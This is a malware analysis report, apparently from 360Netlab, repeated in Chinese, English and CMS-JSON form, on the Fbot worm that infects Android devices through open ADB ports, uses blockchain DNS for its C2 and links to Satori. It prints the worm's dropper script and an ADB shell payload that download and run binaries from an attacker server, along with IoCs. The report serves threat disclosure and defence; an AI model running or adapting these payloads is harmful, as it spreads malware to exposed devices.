这个IP与Fbot也有关系 <ul> <li>如图中所示该IP通过 4eouhp79tl5zqs2tbqee.ukrainianhorseriding.com 域名与Fbot主控IP相连；</li> <li>而且，该IP上的URL布局也与Fbot的下载服务器188.209.52.142的URL布局基本一致，见文末IoC。</li> </ul> </li> </ul> <p>综上，我们认为图中展示的域名、IP、URL、样本构成了强烈内聚的一簇，Fbot可以归属到Satori。</p> <h4 id="">联系我们</h4> <p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者在微信公众号 <strong>360Netlab</strong> 上联系我们。或者发送邮件给 netlab at 360 dot cn 。</p> <h4 id="ioc">IoC</h4> <p>下载服务器</p> <pre><code>188.209.52.142 Netherlands/NL AS49349 </code></pre> <p>C2服务器</p> <pre><code>musl.lib #主控域名，由区块链DNS系统EmerDNS解析 66.42.57.45:7000 #Singapore/SG Singapore #当前主控IP ukrainianhorseriding.com #历史关联域名 27.102.115.44 #Republic of Korea/KR AS45996 rippr.cc #历史关联域名，Satori主控 </code></pre> <p>下载URL</p> <pre><code>hxxp://188.209.52.142/c #脚本，会下载执行fbot.{arch}样本、卸载 com.ufo.miner 组件，并做清理 hxxp://188.209.52.142/w #脚本，会下载执行fbot.{arch}样本、卸载 com.ufo.miner 组件，并做清理 hxxp://188.209.52.142/fbot.aarch64 #扫描器，下同，完成自身的蠕虫传播 hxxp://188.209.52.142/fbot.arm7 hxxp://188.209.52.142/fbot.mips hxxp://188.209.52.142/fbot.mipsel hxxp://188.209.52.142/fbot.x86 hxxp://188.209.52.142/fbot.x86_64 hxxp://27.102.115.44/c #历史关联脚本 hxxp://27.102.115.44/w hxxp://27.102.115.44/mipsel.bot.le hxxp://27.102.115.44/mips.bot.be hxxp://27.102.115.44/i686.bot.le hxxp://27.102.115.44/arm7.bot.le hxxp://27.102.115.44/arm64.bot.le hxxp://27.102.115.44/x86_64.bot.le hxxp://27.102.115.44/adbs hxxp://27.102.115.44/adbs2 hxxp://27.102.115.44/ </code></pre> <!--kg-card-end: markdown-->

从2018-09-13 11:30 UTC开始，我们首次注意到一个新的蠕虫正在清理 com.ufo.miner。在完成了清理动作后，该蠕虫会等待来自C2（musl.lib，66.42.57.45:7000， Singapore/SG）的下一步指令。我们将该蠕虫命名为fbot，主要是因为该蠕虫的主要执行模块使用了这个名字。该C2域名的解析，需要通过EmerDNS，一个emercoin.com旗下的区块链DNS完成。 com.ufo.miner 与我们之前多次 报告 的 ADB.Miner 类似，利用adb安卓调试接口传播，并挖矿。ADB.Miner 是我们今年二月首次 报告 的，自那以后，类似的其他僵尸网络已经长期传播，感染了包括 Amazon FireTV 在内的多种设备。 最后，新的蠕虫Fbot与臭名昭著的 Satori 僵尸网络有关联。 分析 FBot的恶意样本通过 adb 安卓系统调试接口投入，这与之前的 ADB.Miner 的投入方式一致。 投入载荷会下载执行 hxxp://188.209.52.142/c，或者是hxxp://188.209.52.142/w。这两个脚本的区别仅在下载方式是wget/curl，下文不再区分。两个脚本的主体功能一致，包括： * 尝试进一步从 188.209.52.142 下载 fbot.{arch} 恶意样本； * 卸载 com.ufo.miner，一个类似ADB.Miner的挖矿组件； * 完成自身清理工作。 该脚本的详细内容如下： #!/system/bin/sh n="arm7 mipsel mips x86 x86_64 aarch64" http_server="188.209.52.142" for i in $n do cp /system/bin/sh fbot.$i >fbot.$i curl hxxp://$http_server/fbot.$i > fbot.$i # wget hxxp://$http_server/fbot.$i > fbot.$i chmod 777 fbot.$i ./fbot.$i rm fbot.$i done # Cleanup for i in $n do rm fbot.$i done pm uninstall com.ufo.miner # Suicide rm $0 下载得到的 fbot.{arch} 是个mirai的变种，主要特点包括： * C2：musl.lib:7000，当前在EmerDNS上的解析地址为 66.42.57.45，Singapore/SG Singapore * 扫描和传播：针对 TCP 5555 adb 端口扫描。扫描成功后，会下载hxxp://188.209.52.142/c，完成对蠕虫自身的传播。 * 进程清理：样本中会遍历 /proc/pid/exe 目录下面的特定进程，如smi、xig、rig等。枚举得到符合条件的进程后，会杀掉该进程。 该变种保留了 mirai 僵尸网络的DDoS功能，但我们尚未检测到该C2有发出DDoS攻击指令。 扫描阶段的载荷如下： shell:cd /data/local/tmp/; busybox wget hxxp://188.209.52.142/w -O -> w; sh w; rm w; curl http://188.209.52.142/c > c; sh c; rm c 枚举进程列表 /data/local/tmp/smi /data/local/tmp/xig /data/local/tmp/trinity /data/local/tmp/z /data/local/tmp/log /data/local/tmp/rig /data/local/tmp/.f /data/local/tmp/tyg 主控域名 musl.lib 在EmereDNS上的解析 C2域名musl.lib不是一个标准的DNS域名。其顶级域 .lib 并没有在 ICANN 注册，也不能被通用的DNS系统解析，实际是由emercoin.com旗下EmerDNS系统解析。EmerDNS是一个基于区块链的DNS系统，在其官方网站上宣称，EmerDNS建立与区块链技术之上，完全去中心化，只有记录创建者才能操作记录内容。 当用户要想访问 *.lib 的网站时，可以有几种选择。由于公共DNS服务商OpenNIC的支持，用户可以通过OpenNic公司旗下的公共DNS服务器访问 *.lib 网站，或者用户可以给浏览器安装特定器扩展，或者是自行架设Emer节点。 Fbot蠕虫作者选择了OpenNic公司的公共DNS服务。蠕虫中硬编码了一组OpenNic公共服务器IP地址，被感染的机器通过向这些服务器请求，得到 musl.lib 的EmerDNS解析IP。样本中硬编码的DNS解析服务器至少包括： 176.126.70.119 163.53.248.170 174.138.48.29 5.132.191.104 107.172.42.186 163.172.168.171 174.138.48.29 185.208.208.141 163.53.248.170 5.132.191.104 当前 musl.lib 的EmerDNS解析结果如下： https://explorer.emercoin.com/nvs//musl.lib//25/1/1 读者可以利用如下命令重现上述解析过程： [email protected]$dig musl.lib @seed2.emercoin.com +short 66.42.57.45 我们猜测恶意代码使用EmerDNS的原因，可能是下列之一： * 提高安全分析人员追踪的难度； * 安全分析人员难以通过与ICANN成员单位的合作来 sinkhole 该域名； 这样，恶意代码作者可以长期保持对该僵尸网络的控制。 Fbot 与 Satori 僵尸网络的关系 Fbot 蠕虫与 Satori 僵尸网络的关系，展现于下图中： 在上图中： * Fbot的主控IP地址66.42.57.45，与Satori的主控域名 rippr.cc，通过和注册邮箱 ukrainianhorseriding.com/[email protected] 相连 * 另外，27.102.115.44 这个IP与Fbot也有关系 * 如图中所示该IP通过 4eouhp79tl5zqs2tbqee.ukrainianhorseriding.com 域名与Fbot主控IP相连； * 而且，该IP上的URL布局也与Fbot的下载服务器188.209.52.142的URL布局基本一致，见文末IoC。 综上，我们认为图中展示的域名、IP、URL、样本构成了强烈内聚的一簇，Fbot可以归属到Satori。 联系我们 感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。或者发送邮件给 netlab at 360 dot cn 。 IoC 下载服务器 188.209.52.142 Netherlands/NL AS49349 C2服务器 musl.lib #主控域名，由区块链DNS系统EmerDNS解析 66.42.57.45:7000 #Singapore/SG Singapore #当前主控IP ukrainianhorseriding.com #历史关联域名 27.102.115.44 #Republic of Korea/KR AS45996 rippr.cc #历史关联域名，Satori主控 下载URL hxxp://188.209.52.142/c #脚本，会下载执行fbot.{arch}样本、卸载 com.ufo.miner 组件，并做清理 hxxp://188.209.52.142/w #脚本，会下载执行fbot.{arch}样本、卸载 com.ufo.miner 组件，并做清理 hxxp://188.209.52.142/fbot.aarch64 #扫描器，下同，完成自身的蠕虫传播 hxxp://188.209.52.142/fbot.arm7 hxxp://188.209.52.142/fbot.mips hxxp://188.209.52.142/fbot.mipsel hxxp://188.209.52.142/fbot.x86 hxxp://188.209.52.142/fbot.x86_64 hxxp://27.102.115.44/c #历史关联脚本 hxxp://27.102.115.44/w hxxp://27.102.115.44/mipsel.bot.le hxxp://27.102.115.44/mips.bot.be hxxp://27.102.115.44/i686.bot.le hxxp://27.102.115.44/arm7.bot.le hxxp://27.102.115.44/arm64.bot.le hxxp://27.102.115.44/x86_64.bot.le hxxp://27.102.115.44/adbs hxxp://27.102.115.44/adbs2 hxxp://27.102.115.44/

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"从2018-09-13 11:30 UTC开始，我们首次注意到一个新的蠕虫正在清理 com.ufo.miner。在完成了清理动作后，该蠕虫会等待来自C2（musl.lib，66.42.57.45:7000， Singapore/SG）的下一步指令。我们将该蠕虫命名为fbot，主要是因为该蠕虫的主要执行模块使用了这个名字。该C2域名的解析，需要通过EmerDNS，一个emercoin.com旗下的区块链DNS完成。\n\ncom.ufo.miner 与我们之前多次 [报告](__GHOST_URL__/tag/adbminer/) 的 ADB.Miner 类似，利用adb安卓调试接口传播，并挖矿。ADB.Miner 是我们今年二月首次 [报告](__GHOST_URL__/early-warning-adb-miner-a-mining-botnet-utilizing-android-adb-is-now-rapidly-spreading/) 的，自那以后，类似的其他僵尸网络已经长期传播，[感染](https://forum.xda-developers.com/fire-tv/general/firestick-gen-2-test-app-popping-t3771601)了包括 Amazon FireTV 在内的多种设备。\n\n最后，新的蠕虫Fbot与臭名昭著的 Satori 僵尸网络有关联。\n\n\n\n#### 分析\nFBot的恶意样本通过 adb 安卓系统调试接口投入，这与之前的 ADB.Miner 的投入方式一致。\n\n投入载荷会下载执行 hxxp://188.209.52.142/c，或者是hxxp://188.209.52.142/w。这两个脚本的区别仅在下载方式是wget/curl，下文不再区分。两个脚本的主体功能一致，包括：\n\n * 尝试进一步从 188.209.52.142 下载 fbot.{arch} 恶意样本；\n * 卸载 com.ufo.miner，一个类似ADB.Miner的挖矿组件；\n * 完成自身清理工作。\n\n该脚本的详细内容如下：\n```\n#!/system/bin/sh\n\nn=\"arm7 mipsel mips x86 x86_64 aarch64\"\nhttp_server=\"188.209.52.142\"\n\nfor i in $n\ndo\n cp /system/bin/sh fbot.$i\n >fbot.$i\n curl hxxp://$http_server/fbot.$i > fbot.$i # wget hxxp://$http_server/fbot.$i > fbot.$i\n chmod 777 fbot.$i\n ./fbot.$i\n rm fbot.$i\ndone\n\n# Cleanup\nfor i in $n\ndo\n rm fbot.$i\ndone\n\npm uninstall com.ufo.miner\n\n# Suicide\nrm $0\n```\n\n下载得到的 fbot.{arch} 是个mirai的变种，主要特点包括：\n\n * C2：musl.lib:7000，当前在EmerDNS上的解析地址为 66.42.57.45，Singapore/SG Singapore\n * 扫描和传播：针对 TCP 5555 adb 端口扫描。扫描成功后，会下载hxxp://188.209.52.142/c，完成对蠕虫自身的传播。\n * 进程清理：样本中会遍历 /proc/pid/exe 目录下面的特定进程，如smi、xig、rig等。枚举得到符合条件的进程后，会杀掉该进程。\n\n该变种保留了 mirai 僵尸网络的DDoS功能，但我们尚未检测到该C2有发出DDoS攻击指令。\n\n扫描阶段的载荷如下：\n```\nshell:cd /data/local/tmp/; busybox wget hxxp://188.209.52.142/w -O -> w; sh w; rm w; curl http://188.209.52.142/c > c; sh c; rm c\n```\n\n枚举进程列表\n```\n/data/local/tmp/smi\n/data/local/tmp/xig\n/data/local/tmp/trinity\n/data/local/tmp/z\n/data/local/tmp/log\n/data/local/tmp/rig\n/data/local/tmp/.f\n/data/local/tmp/tyg\n```\n\n#### 主控域名 musl.lib 在EmereDNS上的解析\nC2域名musl.lib不是一个标准的DNS域名。其顶级域 .lib 并没有在 [ICANN](https://www.iana.org/domains/root/db) 注册，也不能被通用的DNS系统解析，实际是由emercoin.com旗下EmerDNS系统解析。EmerDNS是一个基于区块链的DNS系统，在[其官方网站](https://emercoin.com/zh/emerdns)上宣称，EmerDNS建立与区块链技术之上，完全去中心化，只有记录创建者才能操作记录内容。\n\n当用户要想访问 *.lib 的网站时，可以有几种选择。由于公共DNS服务商OpenNIC的支持，用户可以通过OpenNic公司旗下的公共DNS服务器访问 *.lib 网站，或者用户可以给浏览器安装特定器扩展，或者是自行架设Emer节点。\n\nFbot蠕虫作者选择了OpenNic公司的公共DNS服务。蠕虫中硬编码了一组OpenNic公共服务器IP地址，被感染的机器通过向这些服务器请求，得到 musl.lib 的EmerDNS解析IP。样本中硬编码的DNS解析服务器至少包括：\n```\n176.126.70.119\n163.53.248.170\n174.138.48.29\n5.132.191.104\n107.172.42.186\n163.172.168.171\n174.138.48.29\n185.208.208.141\n163.53.248.170\n5.132.191.104\n```\n\n当前 musl.lib 的EmerDNS解析结果如下：\n```\nhttps://explorer.emercoin.com/nvs//musl.lib//25/1/1\n```\n\n读者可以利用如下命令重现上述解析过程：\n```\[email protected]$dig musl.lib @seed2.emercoin.com +short\n66.42.57.45\n```\n\n我们猜测恶意代码使用EmerDNS的原因，可能是下列之一：\n\n - 提高安全分析人员追踪的难度；\n - 安全分析人员难以通过与ICANN成员单位的合作来 sinkhole 该域名；\n\n这样，恶意代码作者可以长期保持对该僵尸网络的控制。\n\n#### Fbot 与 Satori 僵尸网络的关系\n\nFbot 蠕虫与 Satori 僵尸网络的关系，展现于下图中：\n\n\n\n在上图中：\n\n - Fbot的主控IP地址66.42.57.45，与Satori的主控域名 rippr.cc，通过和注册邮箱 ukrainianhorseriding.com/[email protected] 相连\n - 另外，27.102.115.44 这个IP与Fbot也有关系\n - 如图中所示该IP通过 4eouhp79tl5zqs2tbqee.ukrainianhorseriding.com 域名与Fbot主控IP相连；\n - 而且，该IP上的URL布局也与Fbot的下载服务器188.209.52.142的URL布局基本一致，见文末IoC。\n\n综上，我们认为图中展示的域名、IP、URL、样本构成了强烈内聚的一簇，Fbot可以归属到Satori。\n\n#### 联系我们\n\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者在微信公众号 **360Netlab** 上联系我们。或者发送邮件给 netlab at 360 dot cn 。\n\n#### IoC \n下载服务器\n```\n188.209.52.142 Netherlands/NL\tAS49349\n```\n\nC2服务器\n```\nmusl.lib #主控域名，由区块链DNS系统EmerDNS解析\n66.42.57.45:7000 #Singapore/SG Singapore #当前主控IP\nukrainianhorseriding.com #历史关联域名\n27.102.115.44 #Republic of Korea/KR\tAS45996\nrippr.cc #历史关联域名，Satori主控\n```\n\n下载URL\n```\nhxxp://188.209.52.142/c #脚本，会下载执行fbot.{arch}样本、卸载 com.ufo.miner 组件，并做清理\nhxxp://188.209.52.142/w #脚本，会下载执行fbot.{arch}样本、卸载 com.ufo.miner 组件，并做清理\nhxxp://188.209.52.142/fbot.aarch64 #扫描器，下同，完成自身的蠕虫传播\nhxxp://188.209.52.142/fbot.arm7\nhxxp://188.209.52.142/fbot.mips\nhxxp://188.209.52.142/fbot.mipsel\nhxxp://188.209.52.142/fbot.x86\nhxxp://188.209.52.142/fbot.x86_64\nhxxp://27.102.115.44/c #历史关联脚本\nhxxp://27.102.115.44/w\nhxxp://27.102.115.44/mipsel.bot.le\nhxxp://27.102.115.44/mips.bot.be\nhxxp://27.102.115.44/i686.bot.le\nhxxp://27.102.115.44/arm7.bot.le\nhxxp://27.102.115.44/arm64.bot.le\nhxxp://27.102.115.44/x86_64.bot.le\nhxxp://27.102.115.44/adbs\nhxxp://27.102.115.44/adbs2\nhxxp://27.102.115.44/\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

147

post

2018-09-14T13:04:56.000Z

63873b9a8b1c1e0007f52f37

threat-alert-a-new-worm-fbot-cleaning-adbminer-is-using-a-blockchain-based-dns-en

2018-10-06T09:13:45.000Z

public

published

2018-09-14T19:01:55.000Z

Fbot, A Satori Related Botnet Using Block-chain DNS System

<!--kg-card-begin: markdown--><p>Since 2018-09-13 11:30 UTC, a new botnet (we call it Fbot) popped up in our radar which really caught our attention.</p> <p>There are 3 interesting aspects about this new botnet:</p> <ul> <li>First, so far the only purpose of this botnet looks to be just going after and removing another botnet com.ufo.miner.</li> <li>Second, the bot does not use traditional DNS to communicate with the C2, instead, it utilizes block-chain DNS to resolve the non-stand C2 name musl.lib. (see below for details)</li> <li>Third, this bot appears to have strong links to the original satori botnet(see below for details)</li> </ul> <p>com.ufo.miner is a malware variant of <a href="__GHOST_URL__/tag/adbminer/">ADB.Miner</a> crypto-mining family targeting adb(Android Debug Bridge). We first reported ADB.Miner on our <a href="__GHOST_URL__/early-warning-adb-miner-a-mining-botnet-utilizing-android-adb-is-now-rapidly-spreading/">blog</a> this February. And since then, this botnet family have infected a variety of equipment such as <a href="https://forum.xda-developers.com/fire-tv/general/firestick-gen-2-test-app-popping-t3771601">Amazon FireTV</a>.</p> <h4 id="analysis">Analysis</h4> <p>Fbot spreads using the same mechanism used by earlier ADB.Miner.</p> <p>The implant payload downloads and executes one of the following two scripts:</p> <ul> <li>hxxp://188.209.52.142/c</li> <li>or hxxp://188.209.52.142/w</li> </ul> <p>These two scripts are almost the same, with a very minor difference, just one uses wget, and one uses curl. The function of the script:</p> <ul> <li>Download the core payload malware fbot.{arch} from 188.209.52.142, within which embed the C2 musl.lib .</li> <li>Uninstall com.ufo.miner</li> <li>Self-cleaning</li> </ul> <p>The fbot.{arch} is a Mirai variant. Its features include:</p> <ul> <li>C2: a blockchain Domain musl.lib on port 7000, current EmerDNS resolves it to 66.42.57.45, SINGAPORE/SG Singapore</li> <li>Scan and propagate: Scans port TCP 5555 for ADB service, and asks victims to download hxxp://188.209.52.142/c using adb interface.</li> <li>House clean: The sample looks for and kills specific processes under the /proc/pid/exe directory, such as SMI, Xig, rig, and so on.</li> </ul> <p>This variant still keeps the DDoS module from Mirai, but we have not logged any DDoS attack command from C2 till now.</p> <p>The C2 in the fbot.{arch}:</p> <p><img src="__GHOST_URL__/content/images/2018/09/image--1-.png" alt="" loading="lazy"></p> <p>The scanning and implanting payload:</p> <pre><code>shell:cd /data/local/tmp/; busybox wget hxxp://188.209.52.142/w -O -&gt; w; sh w; rm w; curl http://188.209.52.142/c &gt; c; sh c; rm c </code></pre> <p>The process list to be killed:</p> <pre><code>/data/local/tmp/smi /data/local/tmp/xig /data/local/tmp/trinity /data/local/tmp/z /data/local/tmp/log /data/local/tmp/rig /data/local/tmp/.f /data/local/tmp/tyg </code></pre> <h4 id="thec2musllib">The C2 musl.lib</h4> <p>The C2 domain musl.lib is not a standard DNS domain name. Its top-level domain .lib is NOT registered to ICANN and cannot be resolute by the traditional DNS system.</p> <p>This domain name is resolved by EmerDNS, Emercoin.com’s blockchain-based DNS system. According to its <a href="https://emercoin.com/zh/emerdns">web site</a>, it is built on block-chain technology and is fully decentralized,</p> <p>There are several options when users want to access a .lib web site:</p> <ul> <li>Through OpenNIC, which relays the dns requests between users and the EmerDNS system.</li> <li>user can install a specific extension to the browser</li> <li>user can set up a Emer node himself</li> </ul> <p>Fbot hardcodes a list of OpenNic DNS server IP addresses. The hard-coded servers are at least the following:</p> <pre><code>176.126.70.119 163.53.248.170 174.138.48.29 5.132.191.104 107.172.42.186 163.172.168.171 174.138.48.29 185.208.208.141 163.53.248.170 5.132.191.104 </code></pre> <p>Currently the EmerDNS resolution of musl.lib is as follows:</p> <pre><code>https://explorer.emercoin.com/nvs//musl.lib//25/1/1 </code></pre> <p>Readers can use the following commands to reproduce the resolution process:</p> <pre><code>[email protected]$dig musl.lib @seed2.emercoin.com +short 66.42.57.45 </code></pre> <p>The choice of Fbot using EmerDNS other than traditional DNS is pretty interesting, it raised the bar for security researcher to find and track the botnet (Security systems will fail if they only look for traditional DNS names), also it make it harder to sinkhole the C2 domain, at least not applicable for a ICANN members.</p> <h4 id="therelationshipbetweenfbotandsatori">The Relationship between Fbot and Satori</h4> <p>The following diagram shows the relationship between the Fbot and the Satori botnet:</p> <p><img src="__GHOST_URL__/content/images/2018/09/fbot-and-satori-2.png" alt="" loading="lazy"></p> <p>In the figure above:</p> <ul> <li>Fbot C2 IP right now is 66.42.57.45, which resolves to 4eouhp79tl5zqs2tbqee.ukrainianhorseriding.com, and ukrainianhorseriding.com’s registration email is <a href="mailto:[email protected]">[email protected]</a>.</li> <li><a href="mailto:[email protected]">[email protected]</a> also owns rippr.cc, which is the C2 for the <a href="__GHOST_URL__/tag/satori/">Satori</a> botnet</li> </ul> <p>IP 27.102.115.44 is also connected to Fbot.</p> <ul> <li>Via the domain name 4eouhp79tl5zqs2tbqee.ukrainianhorseriding.com</li> <li>The URL pattern on the IP is consistent with the URL pattern of the Fbot download server 188.209.52.142, see IoC at the end of the article for more detail</li> </ul> <p>With all these, we think all the domain names, IPs, URLs and samples presented in the figure form a strongly inter-connected cluster, Fbot has very stong link with Satori</p> <h4 id="contactus">Contact Us</h4> <p>Readers can reach us on our <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a>, WeChat <strong>360Netlab</strong> or email to netlab at 360 dot cn.</p> <h4 id="ioc">IoC</h4> <p>Download Server</p> <pre><code>188.209.52.142 Netherlands/NL AS49349 </code></pre> <p>C2 Server</p> <pre><code>musl.lib #C2 domain, resolved by EmerDNS, a block-chain DNS musl.lib:7000 currently resolves to 66.42.57.457000 #Singapore/SG Singapore #Current C2 IP and port ukrainianhorseriding.com #Related C2 domain 27.102.115.44 Republic of Korea/KR AS45996 #Related C2 IP rippr.cc #Related domain, a Satori C2 </code></pre> <p>Downloading URL</p> <pre><code>hxxp://188.209.52.142/c #Script, will download and execute fbot.{arch}, uninstall com.ufo.miner, and do clean work hxxp://188.209.52.142/w #Script, will download and execute fbot.{arch}, uninstall com.ufo.miner, and do clean work hxxp://188.209.52.142/fbot.aarch64 #Scanners, will spread itself in a worm style hxxp://188.209.52.142/fbot.arm7 hxxp://188.209.52.142/fbot.mips hxxp://188.209.52.142/fbot.mipsel hxxp://188.209.52.142/fbot.x86 hxxp://188.209.52.142/fbot.x86_64 hxxp://27.102.115.44/c #历史关联脚本 hxxp://27.102.115.44/w hxxp://27.102.115.44/mipsel.bot.le hxxp://27.102.115.44/mips.bot.be hxxp://27.102.115.44/i686.bot.le hxxp://27.102.115.44/arm7.bot.le hxxp://27.102.115.44/arm64.bot.le hxxp://27.102.115.44/x86_64.bot.le hxxp://27.102.115.44/adbs hxxp://27.102.115.44/adbs2 hxxp://27.102.115.44/ </code></pre> <p>One of the Scripts</p> <pre><code>#!/system/bin/sh n=&quot;arm7 mipsel mips x86 x86_64 aarch64&quot; http_server=&quot;188.209.52.142&quot; for i in $n do cp /system/bin/sh fbot.$i &gt;fbot.$i curl hxxp://$http_server/fbot.$i &gt; fbot.$i # wget hxxp://$http_server/fbot.$i &gt; fbot.$i chmod 777 fbot.$i ./fbot.$i rm fbot.$i done # Cleanup for i in $n do rm fbot.$i done pm uninstall com.ufo.miner # Suicide rm $0 </code></pre> <!--kg-card-end: markdown-->

Since 2018-09-13 11:30 UTC, a new botnet (we call it Fbot) popped up in our radar which really caught our attention. There are 3 interesting aspects about this new botnet: * First, so far the only purpose of this botnet looks to be just going after and removing another botnet com.ufo.miner. * Second, the bot does not use traditional DNS to communicate with the C2, instead, it utilizes block-chain DNS to resolve the non-stand C2 name musl.lib. (see below for details) * Third, this bot appears to have strong links to the original satori botnet(see below for details) com.ufo.miner is a malware variant of ADB.Miner crypto-mining family targeting adb(Android Debug Bridge). We first reported ADB.Miner on our blog this February. And since then, this botnet family have infected a variety of equipment such as Amazon FireTV. Analysis Fbot spreads using the same mechanism used by earlier ADB.Miner. The implant payload downloads and executes one of the following two scripts: * hxxp://188.209.52.142/c * or hxxp://188.209.52.142/w These two scripts are almost the same, with a very minor difference, just one uses wget, and one uses curl. The function of the script: * Download the core payload malware fbot.{arch} from 188.209.52.142, within which embed the C2 musl.lib . * Uninstall com.ufo.miner * Self-cleaning The fbot.{arch} is a Mirai variant. Its features include: * C2: a blockchain Domain musl.lib on port 7000, current EmerDNS resolves it to 66.42.57.45, SINGAPORE/SG Singapore * Scan and propagate: Scans port TCP 5555 for ADB service, and asks victims to download hxxp://188.209.52.142/c using adb interface. * House clean: The sample looks for and kills specific processes under the /proc/pid/exe directory, such as SMI, Xig, rig, and so on. This variant still keeps the DDoS module from Mirai, but we have not logged any DDoS attack command from C2 till now. The C2 in the fbot.{arch}: The scanning and implanting payload: shell:cd /data/local/tmp/; busybox wget hxxp://188.209.52.142/w -O -> w; sh w; rm w; curl http://188.209.52.142/c > c; sh c; rm c The process list to be killed: /data/local/tmp/smi /data/local/tmp/xig /data/local/tmp/trinity /data/local/tmp/z /data/local/tmp/log /data/local/tmp/rig /data/local/tmp/.f /data/local/tmp/tyg The C2 musl.lib The C2 domain musl.lib is not a standard DNS domain name. Its top-level domain .lib is NOT registered to ICANN and cannot be resolute by the traditional DNS system. This domain name is resolved by EmerDNS, Emercoin.com’s blockchain-based DNS system. According to its web site, it is built on block-chain technology and is fully decentralized, There are several options when users want to access a .lib web site: * Through OpenNIC, which relays the dns requests between users and the EmerDNS system. * user can install a specific extension to the browser * user can set up a Emer node himself Fbot hardcodes a list of OpenNic DNS server IP addresses. The hard-coded servers are at least the following: 176.126.70.119 163.53.248.170 174.138.48.29 5.132.191.104 107.172.42.186 163.172.168.171 174.138.48.29 185.208.208.141 163.53.248.170 5.132.191.104 Currently the EmerDNS resolution of musl.lib is as follows: https://explorer.emercoin.com/nvs//musl.lib//25/1/1 Readers can use the following commands to reproduce the resolution process: [email protected]$dig musl.lib @seed2.emercoin.com +short 66.42.57.45 The choice of Fbot using EmerDNS other than traditional DNS is pretty interesting, it raised the bar for security researcher to find and track the botnet (Security systems will fail if they only look for traditional DNS names), also it make it harder to sinkhole the C2 domain, at least not applicable for a ICANN members. The Relationship between Fbot and Satori The following diagram shows the relationship between the Fbot and the Satori botnet: In the figure above: * Fbot C2 IP right now is 66.42.57.45, which resolves to 4eouhp79tl5zqs2tbqee.ukrainianhorseriding.com, and ukrainianhorseriding.com’s registration email is [email protected]. * [email protected] also owns rippr.cc, which is the C2 for the Satori botnet IP 27.102.115.44 is also connected to Fbot. * Via the domain name 4eouhp79tl5zqs2tbqee.ukrainianhorseriding.com * The URL pattern on the IP is consistent with the URL pattern of the Fbot download server 188.209.52.142, see IoC at the end of the article for more detail With all these, we think all the domain names, IPs, URLs and samples presented in the figure form a strongly inter-connected cluster, Fbot has very stong link with Satori Contact Us Readers can reach us on our twitter, WeChat 360Netlab or email to netlab at 360 dot cn. IoC Download Server 188.209.52.142 Netherlands/NL AS49349 C2 Server musl.lib #C2 domain, resolved by EmerDNS, a block-chain DNS musl.lib:7000 currently resolves to 66.42.57.457000 #Singapore/SG Singapore #Current C2 IP and port ukrainianhorseriding.com #Related C2 domain 27.102.115.44 Republic of Korea/KR AS45996 #Related C2 IP rippr.cc #Related domain, a Satori C2 Downloading URL hxxp://188.209.52.142/c #Script, will download and execute fbot.{arch}, uninstall com.ufo.miner, and do clean work hxxp://188.209.52.142/w #Script, will download and execute fbot.{arch}, uninstall com.ufo.miner, and do clean work hxxp://188.209.52.142/fbot.aarch64 #Scanners, will spread itself in a worm style hxxp://188.209.52.142/fbot.arm7 hxxp://188.209.52.142/fbot.mips hxxp://188.209.52.142/fbot.mipsel hxxp://188.209.52.142/fbot.x86 hxxp://188.209.52.142/fbot.x86_64 hxxp://27.102.115.44/c #历史关联脚本 hxxp://27.102.115.44/w hxxp://27.102.115.44/mipsel.bot.le hxxp://27.102.115.44/mips.bot.be hxxp://27.102.115.44/i686.bot.le hxxp://27.102.115.44/arm7.bot.le hxxp://27.102.115.44/arm64.bot.le hxxp://27.102.115.44/x86_64.bot.le hxxp://27.102.115.44/adbs hxxp://27.102.115.44/adbs2 hxxp://27.102.115.44/ One of the Scripts #!/system/bin/sh n="arm7 mipsel mips x86 x86_64 aarch64" http_server="188.209.52.142" for i in $n do cp /system/bin/sh fbot.$i >fbot.$i curl hxxp://$http_server/fbot.$i > fbot.$i # wget hxxp://$http_server/fbot.$i > fbot.$i chmod 777 fbot.$i ./fbot.$i rm fbot.$i done # Cleanup for i in $n do rm fbot.$i done pm uninstall com.ufo.miner # Suicide rm $0

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"\nSince 2018-09-13 11:30 UTC, a new botnet (we call it Fbot) popped up in our radar which really caught our attention.\n\nThere are 3 interesting aspects about this new botnet:\n \n * First, so far the only purpose of this botnet looks to be just going after and removing another botnet com.ufo.miner.\n * Second, the bot does not use traditional DNS to communicate with the C2, instead, it utilizes block-chain DNS to resolve the non-stand C2 name musl.lib. (see below for details)\n * Third, this bot appears to have strong links to the original satori botnet(see below for details)\n\ncom.ufo.miner is a malware variant of [ADB.Miner](__GHOST_URL__/tag/adbminer/) crypto-mining family targeting adb(Android Debug Bridge). We first reported ADB.Miner on our [blog](__GHOST_URL__/early-warning-adb-miner-a-mining-botnet-utilizing-android-adb-is-now-rapidly-spreading/) this February. And since then, this botnet family have infected a variety of equipment such as [Amazon FireTV](https://forum.xda-developers.com/fire-tv/general/firestick-gen-2-test-app-popping-t3771601).\n\n#### Analysis\n\nFbot spreads using the same mechanism used by earlier ADB.Miner.\n\nThe implant payload downloads and executes one of the following two scripts:\n\n * hxxp://188.209.52.142/c \n * or hxxp://188.209.52.142/w\n\nThese two scripts are almost the same, with a very minor difference, just one uses wget, and one uses curl. The function of the script:\n\n * Download the core payload malware fbot.{arch} from 188.209.52.142, within which embed the C2 musl.lib .\n * Uninstall com.ufo.miner \n * Self-cleaning\n\nThe fbot.{arch} is a Mirai variant. Its features include:\n\n * C2: a blockchain Domain musl.lib on port 7000, current EmerDNS resolves it to 66.42.57.45, SINGAPORE/SG Singapore\n * Scan and propagate: Scans port TCP 5555 for ADB service, and asks victims to download hxxp://188.209.52.142/c using adb interface.\n * House clean: The sample looks for and kills specific processes under the /proc/pid/exe directory, such as SMI, Xig, rig, and so on.\n\n\n This variant still keeps the DDoS module from Mirai, but we have not logged any DDoS attack command from C2 till now.\n\nThe C2 in the fbot.{arch}:\n\n\n\nThe scanning and implanting payload:\n```\nshell:cd /data/local/tmp/; busybox wget hxxp://188.209.52.142/w -O -> w; sh w; rm w; curl http://188.209.52.142/c > c; sh c; rm c\n```\n\nThe process list to be 